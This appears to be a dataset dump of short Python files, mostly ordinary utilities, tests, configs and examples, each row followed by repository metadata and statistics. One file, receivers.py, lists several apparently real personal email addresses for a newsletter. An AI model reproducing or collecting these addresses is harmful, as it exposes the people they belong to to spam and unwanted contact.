# Date : 1/28/17
#
# This file is part of TensorArtist.
import unittest
from tartist.core import with_env, load_env, get_env, set_env
class TestCoreEnviron(unittest.TestCase):
def testWithEnv(self):... | 22.974359 | 61 | 0.598214 | 124 | 896 | 4.064516 | 0.370968 | 0.126984 | 0.214286 | 0.25 | 0.376984 | 0.376984 | 0.323413 | 0.323413 | 0.261905 | 0 | 0 | 0.031674 | 0.260045 | 896 | 38 | 62 | 23.578947 | 0.728507 | 0.171875 | 0 | 0.3 | 0 | 0 | 0.079019 | 0 | 0 | 0 | 0 | 0 | 0.3 | 1 | 0.05 | false | 0 | 0.1 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
16c76c63160404a547ac4d09376d82dbd1f2044f | 281 | py | Python | mpu/datastructures/trie/base.py | AwesomeGitHubRepos/mpu | 90afe28368b9c6acb719ff881612733216f18c38 | [
"MIT"
] | 43 | 2018-05-22T08:20:21.000Z | 2022-03-06T16:44:59.000Z | mpu/datastructures/trie/base.py | AwesomeGitHubRepos/mpu | 90afe28368b9c6acb719ff881612733216f18c38 | [
"MIT"
] | 83 | 2018-05-01T21:02:34.000Z | 2022-02-02T21:13:17.000Z | mpu/datastructures/trie/base.py | AwesomeGitHubRepos/mpu | 90afe28368b9c6acb719ff881612733216f18c38 | [
"MIT"
] | 7 | 2019-02-21T17:28:58.000Z | 2021-12-27T09:16:17.000Z | # Core Library
from abc import abstractmethod
from collections.abc import Collection
from typing import List
class AbstractTrie(Collection):
@abstractmethod
def autocomplete(self, prefix: str) -> List[str]:
"""Return a list of all words with the given prefix."""
| 25.545455 | 63 | 0.736655 | 36 | 281 | 5.75 | 0.694444 | 0.086957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.185053 | 281 | 10 | 64 | 28.1 | 0.90393 | 0.224199 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.5 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
16e429c52d1236a7928cb3264bc5fd53eefdaacb | 1,801 | py | Python | receivers.py | Xunzhuo/weekly-email-subscribe | 98839ddcfb70a468d0583846f33356201c1da1eb | [
"MIT"
] | null | null | null | receivers.py | Xunzhuo/weekly-email-subscribe | 98839ddcfb70a468d0583846f33356201c1da1eb | [
"MIT"
] | null | null | null | receivers.py | Xunzhuo/weekly-email-subscribe | 98839ddcfb70a468d0583846f33356201c1da1eb | [
"MIT"
] | null | null | null | # coding=utf-8
MAIL_RECEIVER = [
"541863432@qq.com",
"lika27@163.com",
"xiayong10211024@163.com",
"zhangty1996@163.com",
"448627663@qq.com",
"714614401@qq.com",
"dengyg200891@163.com",
"adoyle.h@gmail.com",
"694093637@qq.com",
"sp.zhangchao@gmail.com",
"29693847@qq.com",
... | 24.671233 | 33 | 0.614103 | 215 | 1,801 | 5.125581 | 0.423256 | 0.122505 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.244842 | 0.192671 | 1,801 | 72 | 34 | 25.013889 | 0.513067 | 0.006663 | 0 | 0 | 0 | 0 | 0.683828 | 0.192501 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
16eddba4b202b28203df30ff9009bb53810250d6 | 511 | py | Python | pyeccodes/defs/grib2/tables/17/4_2_3_3_table.py | ecmwf/pyeccodes | dce2c72d3adcc0cb801731366be53327ce13a00b | [
"Apache-2.0"
] | 7 | 2020-04-14T09:41:17.000Z | 2021-08-06T09:38:19.000Z | pyeccodes/defs/grib2/tables/19/4_2_3_3_table.py | ecmwf/pyeccodes | dce2c72d3adcc0cb801731366be53327ce13a00b | [
"Apache-2.0"
] | null | null | null | pyeccodes/defs/grib2/tables/19/4_2_3_3_table.py | ecmwf/pyeccodes | dce2c72d3adcc0cb801731366be53327ce13a00b | [
"Apache-2.0"
] | 3 | 2020-04-30T12:44:48.000Z | 2020-12-15T08:40:26.000Z | def load(h):
return ({'abbr': 0,
'code': 0,
'title': 'Probability of encountering marginal visual flight rule conditions',
'units': '%'},
{'abbr': 1,
'code': 1,
'title': 'Probability of encountering low instrument flight rule conditions',
... | 36.5 | 91 | 0.481409 | 45 | 511 | 5.466667 | 0.466667 | 0.195122 | 0.219512 | 0.365854 | 0.418699 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018809 | 0.375734 | 511 | 13 | 92 | 39.307692 | 0.752351 | 0 | 0 | 0.153846 | 0 | 0 | 0.48728 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0 | 0.076923 | 0.153846 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bc43054a456a6bbc723f3a745cbea71c2955fcba | 529 | py | Python | Schedule/demo.py | jumploop/collection_python | f66f18dc5ae50fce95679e0f4aee5e28b2543432 | [
"MIT"
] | null | null | null | Schedule/demo.py | jumploop/collection_python | f66f18dc5ae50fce95679e0f4aee5e28b2543432 | [
"MIT"
] | null | null | null | Schedule/demo.py | jumploop/collection_python | f66f18dc5ae50fce95679e0f4aee5e28b2543432 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import time
import schedule
def job():
print("I'm working...")
# 每十分钟执行任务
schedule.every(10).minutes.do(job)
# 每个小时执行任务
schedule.every().hour.do(job)
# 每天的10:30执行任务
schedule.every().day.at("10:30").do(job)
# 每个月执行任务
schedule.every().monday.do(job)
# 每个星期三的13:15分执行任... | 18.241379 | 46 | 0.688091 | 79 | 529 | 4.594937 | 0.582278 | 0.250689 | 0.082645 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059322 | 0.10775 | 529 | 28 | 47 | 18.892857 | 0.709746 | 0.226843 | 0 | 0 | 0 | 0 | 0.0675 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | true | 0 | 0.142857 | 0 | 0.214286 | 0.071429 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bc5514a119ac5c26f5790ad8f21215bc0de40865 | 549 | py | Python | configs/self6dpp/ssYCBV/ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10/ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10_06_07TunaFishCan.py | THU-DA-6D-Pose-Group/self6dpp | c267cfa55e440e212136a5e9940598720fa21d16 | [
"Apache-2.0"
] | 33 | 2021-12-15T07:11:47.000Z | 2022-03-29T08:58:32.000Z | configs/self6dpp/ssYCBV/ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10/ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10_06_07TunaFishCan.py | THU-DA-6D-Pose-Group/self6dpp | c267cfa55e440e212136a5e9940598720fa21d16 | [
"Apache-2.0"
] | 3 | 2021-12-15T11:39:54.000Z | 2022-03-29T07:24:23.000Z | configs/self6dpp/ssYCBV/ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10/ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10_06_07TunaFishCan.py | THU-DA-6D-Pose-Group/self6dpp | c267cfa55e440e212136a5e9940598720fa21d16 | [
"Apache-2.0"
] | null | null | null | _base_ = "./ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10_01_02MasterChefCan.py"
OUTPUT_DIR = (
"output/self6dpp/ssYCBV/ss_mlBCE_MaskFull_PredDouble_PBR05_woCenter_woDepth_edgeLower_refinePM10/06_07TunaFishCan"
)
DATASETS = dict(
TRAIN=("ycbv_007_tuna_fish_can_train_real_aligned_Kuw",... | 45.75 | 157 | 0.854281 | 71 | 549 | 5.943662 | 0.676056 | 0.033175 | 0.07109 | 0.118483 | 0.412322 | 0.412322 | 0.303318 | 0.303318 | 0.303318 | 0 | 0 | 0.085603 | 0.063752 | 549 | 11 | 158 | 49.909091 | 0.735409 | 0 | 0 | 0 | 0 | 0 | 0.779599 | 0.779599 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bc5abc9116ebe64b88589005e8ef50c939a5d490 | 59 | py | Python | benchmark/seq2seq/myCoTK/wordvector/__init__.py | BorisPolonsky/KdConv | 124616c8a074ab32065757d47e315c5a54db259c | [
"Apache-2.0"
] | 294 | 2020-04-08T23:54:36.000Z | 2022-03-30T09:29:32.000Z | benchmark/seq2seq/myCoTK/wordvector/__init__.py | thu-coai/KNIVES | fcee15bf8d4f6b0a80ffe01a00739755a7f44e0a | [
"Apache-2.0"
] | 18 | 2020-04-16T03:37:07.000Z | 2022-02-21T13:46:57.000Z | benchmark/seq2seq/myCoTK/wordvector/__init__.py | thu-coai/KNIVES | fcee15bf8d4f6b0a80ffe01a00739755a7f44e0a | [
"Apache-2.0"
] | 51 | 2020-04-09T02:50:58.000Z | 2022-03-29T08:04:52.000Z | from .chinese import *
__all__ = [
'TencentChinese',
] | 11.8 | 22 | 0.644068 | 5 | 59 | 6.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.220339 | 59 | 5 | 23 | 11.8 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0.233333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bc640420ab7b55489e517b84bdc3951b0646baa1 | 126 | py | Python | basic-1.9.7/controller/IndexController.py | claretnnamocha/pytonik-samples | 449ee7aaf19b3ba669799c50d823128663182b8f | [
"MIT"
] | null | null | null | basic-1.9.7/controller/IndexController.py | claretnnamocha/pytonik-samples | 449ee7aaf19b3ba669799c50d823128663182b8f | [
"MIT"
] | 4 | 2021-06-08T20:59:24.000Z | 2022-03-12T00:17:37.000Z | basic-1.9.7/controller/IndexController.py | claretnnamocha/pytonik-samples | 449ee7aaf19b3ba669799c50d823128663182b8f | [
"MIT"
] | null | null | null | from pytonik.Web import App
m = App()
def index():
data = {'title': 'Pytonik MVC'}
m.views('index', data)
| 12.6 | 33 | 0.547619 | 17 | 126 | 4.058824 | 0.705882 | 0.26087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.285714 | 126 | 10 | 34 | 12.6 | 0.766667 | 0 | 0 | 0 | 0 | 0 | 0.165354 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bc86d1aa47f95523a41b81cf5c1a495b66e3b85f | 123 | py | Python | functions/global_localexample.py | blakenick77/atbs | 65756d15dcc120511b789795c5e05515a51c3552 | [
"MIT"
] | null | null | null | functions/global_localexample.py | blakenick77/atbs | 65756d15dcc120511b789795c5e05515a51c3552 | [
"MIT"
] | null | null | null | functions/global_localexample.py | blakenick77/atbs | 65756d15dcc120511b789795c5e05515a51c3552 | [
"MIT"
] | null | null | null | spam = 42 # global variable
def eggs():
spam = 42 # local variable
print('Some code here.')
print('Some more code.')
| 15.375 | 30 | 0.650407 | 18 | 123 | 4.444444 | 0.666667 | 0.15 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041237 | 0.211382 | 123 | 7 | 31 | 17.571429 | 0.783505 | 0.243902 | 0 | 0.4 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.2 | 0.4 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcac77d1b7bf813b4972530eb313421f91b38ded | 887 | py | Python | venues/admin.py | bsassoli/milan_culture_map | 89996b6f41c985c3b90719fdab2325f4627bcfb2 | [
"MIT"
] | null | null | null | venues/admin.py | bsassoli/milan_culture_map | 89996b6f41c985c3b90719fdab2325f4627bcfb2 | [
"MIT"
] | 14 | 2021-04-08T10:52:11.000Z | 2021-04-22T15:32:12.000Z | venues/admin.py | bsassoli/milan_culture_map | 89996b6f41c985c3b90719fdab2325f4627bcfb2 | [
"MIT"
] | 1 | 2021-04-18T18:40:36.000Z | 2021-04-18T18:40:36.000Z | from django.contrib import admin
# Register your models here.
from .models import User, Venue, Category, Event, News, VManager, Map
class VenueAdmin(admin.ModelAdmin):
list_display = ('name', 'category', 'url')
list_filter = ('category', )
ordering = ('name', )
search_fields = ['name']
class VenueI... | 23.972973 | 73 | 0.673055 | 96 | 887 | 6.145833 | 0.4375 | 0.10678 | 0.201695 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.18602 | 887 | 36 | 74 | 24.638889 | 0.817175 | 0.029312 | 0 | 0 | 0 | 0 | 0.10943 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
bcac83ee27c93264c4f8591de3aafcc25b4d86cd | 1,729 | py | Python | ianrange.py | ianmcloughlin/pyplot-examples | 394d3eef2bc702cb35b9497e582f8cb72dbb38ed | [
"Apache-2.0"
] | 6 | 2018-09-27T20:40:16.000Z | 2021-10-02T17:07:05.000Z | ianrange.py | ianmcloughlin/pyplot-examples | 394d3eef2bc702cb35b9497e582f8cb72dbb38ed | [
"Apache-2.0"
] | null | null | null | ianrange.py | ianmcloughlin/pyplot-examples | 394d3eef2bc702cb35b9497e582f8cb72dbb38ed | [
"Apache-2.0"
] | null | null | null | #! /usr/bin/env python
# This example just shows you how you might re-create numpy's arange function
# yourself. The function doesn't return a list of numbers like arange, but
# merely prints the values to the screen instead.
# You might, in your own time, try to get the function to return the list of
# numbers ... | 46.72973 | 81 | 0.714286 | 316 | 1,729 | 3.908228 | 0.408228 | 0.053441 | 0.02915 | 0.032389 | 0.17004 | 0.059919 | 0.035628 | 0 | 0 | 0 | 0 | 0.00522 | 0.224407 | 1,729 | 36 | 82 | 48.027778 | 0.915735 | 0.875072 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcc454c991bac8ceb21e2841443c0f9e0e11bc39 | 1,505 | py | Python | hpc-historias-clinicas/aparatos/migrations/0001_initial.py | btenaglia/hpc-historias-clinicas | 649d8660381381b1c591667760c122d73071d5ec | [
"BSD-3-Clause"
] | null | null | null | hpc-historias-clinicas/aparatos/migrations/0001_initial.py | btenaglia/hpc-historias-clinicas | 649d8660381381b1c591667760c122d73071d5ec | [
"BSD-3-Clause"
] | null | null | null | hpc-historias-clinicas/aparatos/migrations/0001_initial.py | btenaglia/hpc-historias-clinicas | 649d8660381381b1c591667760c122d73071d5ec | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Aparatos',
fields=[
('id', models.AutoField(ver... | 41.805556 | 114 | 0.58804 | 134 | 1,505 | 6.425373 | 0.425373 | 0.140534 | 0.255517 | 0.301974 | 0.271777 | 0 | 0 | 0 | 0 | 0 | 0 | 0.000912 | 0.271761 | 1,505 | 35 | 115 | 43 | 0.784672 | 0.013953 | 0 | 0 | 0 | 0 | 0.203779 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.068966 | 0 | 0.172414 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcc56ff4575f68109285f132a04253acae44f20b | 369 | py | Python | examples/shadesof.py | scalabli/quo | 70b6d4129ee705930f1f8a792fc4c9247d973f9d | [
"MIT"
] | 3 | 2022-03-13T13:22:35.000Z | 2022-03-18T08:22:51.000Z | examples/shadesof.py | scalabli/quo | 70b6d4129ee705930f1f8a792fc4c9247d973f9d | [
"MIT"
] | 1 | 2022-03-21T16:29:54.000Z | 2022-03-21T16:29:54.000Z | examples/shadesof.py | scalabli/quo | 70b6d4129ee705930f1f8a792fc4c9247d973f9d | [
"MIT"
] | null | null | null | from quo import print
content = " "
colors = (
'bg:7fffd4',
'bg:6ad0ad',
'bg:55a288',
'bg:417764'
)
for color in colors:
print(f"<style bg={colors}>{content}</style>")
print(f"<style bg='#6ad0ad'>{content}</style>")
print(f"<style bg='#55a288'>{content}</style>")... | 21.705882 | 50 | 0.550136 | 46 | 369 | 4.413043 | 0.347826 | 0.118227 | 0.216749 | 0.256158 | 0.369458 | 0.369458 | 0 | 0 | 0 | 0 | 0 | 0.098592 | 0.230352 | 369 | 16 | 51 | 23.0625 | 0.616197 | 0 | 0 | 0 | 0 | 0 | 0.525745 | 0.322493 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.076923 | 0.384615 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcc7b6e7f5300a7480456d1379e91afc426871e6 | 8,505 | py | Python | google/ads/google_ads/v4/proto/enums/criterion_type_pb2.py | arammaliachi/google-ads-python | a4fe89567bd43eb784410523a6306b5d1dd9ee67 | [
"Apache-2.0"
] | 1 | 2021-04-09T04:28:47.000Z | 2021-04-09T04:28:47.000Z | google/ads/google_ads/v4/proto/enums/criterion_type_pb2.py | arammaliachi/google-ads-python | a4fe89567bd43eb784410523a6306b5d1dd9ee67 | [
"Apache-2.0"
] | null | null | null | google/ads/google_ads/v4/proto/enums/criterion_type_pb2.py | arammaliachi/google-ads-python | a4fe89567bd43eb784410523a6306b5d1dd9ee67 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads_v4/proto/enums/criterion_type.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import m... | 39.742991 | 1,571 | 0.738389 | 1,054 | 8,505 | 5.762808 | 0.256167 | 0.097959 | 0.11755 | 0.131709 | 0.465591 | 0.443036 | 0.415706 | 0.392987 | 0.178795 | 0 | 0 | 0.067601 | 0.135567 | 8,505 | 213 | 1,572 | 39.929577 | 0.758569 | 0.035509 | 0 | 0.588542 | 1 | 0.010417 | 0.311981 | 0.255612 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.03125 | 0 | 0.03125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcd1cd90228f04710915c89e0ccbfd0b1f548d63 | 1,441 | py | Python | property.py | felsen/fluent-python | 1d392834019c3dad16f40eb245309c15556ffe04 | [
"MIT"
] | null | null | null | property.py | felsen/fluent-python | 1d392834019c3dad16f40eb245309c15556ffe04 | [
"MIT"
] | null | null | null | property.py | felsen/fluent-python | 1d392834019c3dad16f40eb245309c15556ffe04 | [
"MIT"
] | null | null | null | """
property, getter, setter, deleter
"""
class Person(object):
def __init__(self, first_name):
self._first_name = first_name
# Getter
@property
def first_name(self):
return self._first_name
# Setter function
@first_name.setter
def first_name(self, value):
if not... | 21.833333 | 67 | 0.679389 | 188 | 1,441 | 4.920213 | 0.212766 | 0.291892 | 0.112432 | 0.051892 | 0.635676 | 0.583784 | 0.456216 | 0.391351 | 0.309189 | 0.099459 | 0 | 0.001794 | 0.226232 | 1,441 | 65 | 68 | 22.169231 | 0.827803 | 0.14365 | 0 | 0.4 | 0 | 0 | 0.088743 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.228571 | false | 0 | 0 | 0.057143 | 0.371429 | 0.142857 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcd31bbb51cafd100004d5404188060c5a48247f | 168 | py | Python | pwd_manager/app/start.py | CodeJxer/password-manage | 9c86a4e9b3581d9a2fe630ebf0c1d5b2d384bf2f | [
"MIT"
] | null | null | null | pwd_manager/app/start.py | CodeJxer/password-manage | 9c86a4e9b3581d9a2fe630ebf0c1d5b2d384bf2f | [
"MIT"
] | null | null | null | pwd_manager/app/start.py | CodeJxer/password-manage | 9c86a4e9b3581d9a2fe630ebf0c1d5b2d384bf2f | [
"MIT"
] | null | null | null | # -*- coding=UTF-8 -*-
# Std imports
# Local imports
from pwd_manager.app import mainwindow
def main():
mainwindow.main()
if __name__ == '__main__':
main()
| 12.923077 | 38 | 0.64881 | 21 | 168 | 4.761905 | 0.761905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007463 | 0.202381 | 168 | 12 | 39 | 14 | 0.738806 | 0.27381 | 0 | 0 | 0 | 0 | 0.067797 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcfa7080cb1be7568a2e4a60e46b8d33516fbad2 | 3,080 | py | Python | dc24_ingester_platform/mock.py | jcu-eresearch/TDH-dc24-ingester-platform | 276115eefef770635fe513e13de5ff95d78ceae9 | [
"BSD-3-Clause"
] | null | null | null | dc24_ingester_platform/mock.py | jcu-eresearch/TDH-dc24-ingester-platform | 276115eefef770635fe513e13de5ff95d78ceae9 | [
"BSD-3-Clause"
] | null | null | null | dc24_ingester_platform/mock.py | jcu-eresearch/TDH-dc24-ingester-platform | 276115eefef770635fe513e13de5ff95d78ceae9 | [
"BSD-3-Clause"
] | null | null | null | """
This module contains a mock service setup for testing/developing the ingester engine.
Created on Mar 13, 2013
@author: nigel
"""
import logging
import time
import datetime
from twisted.web import xmlrpc
from dc24_ingester_platform.ingester.data_sources import DataSource
from dc24_ingester_platform.service impo... | 30.49505 | 87 | 0.696104 | 374 | 3,080 | 5.475936 | 0.307487 | 0.063477 | 0.043945 | 0.037109 | 0.193359 | 0.149414 | 0.066406 | 0.020508 | 0 | 0 | 0 | 0.012068 | 0.219805 | 3,080 | 100 | 88 | 30.8 | 0.8402 | 0.077597 | 0 | 0 | 0 | 0 | 0.0121 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.292308 | false | 0.015385 | 0.153846 | 0.092308 | 0.630769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
bcfee1d23e4c632e62942522fcce082deea7f1d6 | 3,655 | py | Python | opportune/tests/test_profile.py | Mildly-Sketchy/Mildly-Sketchy | d215d5c478bfbdac0056ed0144edfe8c9efa557f | [
"MIT"
] | null | null | null | opportune/tests/test_profile.py | Mildly-Sketchy/Mildly-Sketchy | d215d5c478bfbdac0056ed0144edfe8c9efa557f | [
"MIT"
] | 2 | 2019-12-26T16:41:26.000Z | 2020-01-06T18:52:13.000Z | opportune/tests/test_profile.py | Mildly-Sketchy/Mildly-Sketchy | d215d5c478bfbdac0056ed0144edfe8c9efa557f | [
"MIT"
] | 1 | 2018-06-13T18:16:45.000Z | 2018-06-13T18:16:45.000Z | from pyramid import testing
def test_default_behavior_of_profile_view(dummy_request):
"""Test default profile behavior."""
from ..views.profile import profile_view
response = profile_view(dummy_request)
assert type(response) == dict
def test_profile_view_with_no_keywords(dummy_request):
"""Test ... | 30.714286 | 82 | 0.734884 | 416 | 3,655 | 6.225962 | 0.189904 | 0.120463 | 0.081081 | 0.050965 | 0.723938 | 0.66332 | 0.633977 | 0.633977 | 0.601544 | 0.601544 | 0 | 0.003656 | 0.176744 | 3,655 | 118 | 83 | 30.974576 | 0.857095 | 0.064843 | 0 | 0.743902 | 0 | 0 | 0.077945 | 0 | 0 | 0 | 0 | 0 | 0.121951 | 1 | 0.073171 | false | 0.02439 | 0.195122 | 0 | 0.268293 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
bcffb2bef87a5e5cc5720b669f26dc4167aa5423 | 657 | py | Python | examples/kde.py | RyanAugust/geoplotlib | 97ae83fc05d19237db79be66eb577906c35e8db5 | [
"MIT"
] | 1,021 | 2015-02-26T12:08:01.000Z | 2022-03-15T10:04:29.000Z | examples/kde.py | RyanAugust/geoplotlib | 97ae83fc05d19237db79be66eb577906c35e8db5 | [
"MIT"
] | 51 | 2015-03-27T20:46:44.000Z | 2022-02-03T09:58:35.000Z | examples/kde.py | RyanAugust/geoplotlib | 97ae83fc05d19237db79be66eb577906c35e8db5 | [
"MIT"
] | 196 | 2015-03-25T02:32:28.000Z | 2022-03-25T23:07:22.000Z | """
Multiple examples of kernel density estimation visualization
"""
import geoplotlib
from geoplotlib.utils import read_csv, BoundingBox, DataAccessObject
data = read_csv('data/opencellid_dk.csv')
geoplotlib.kde(data, bw=5, cut_below=1e-4)
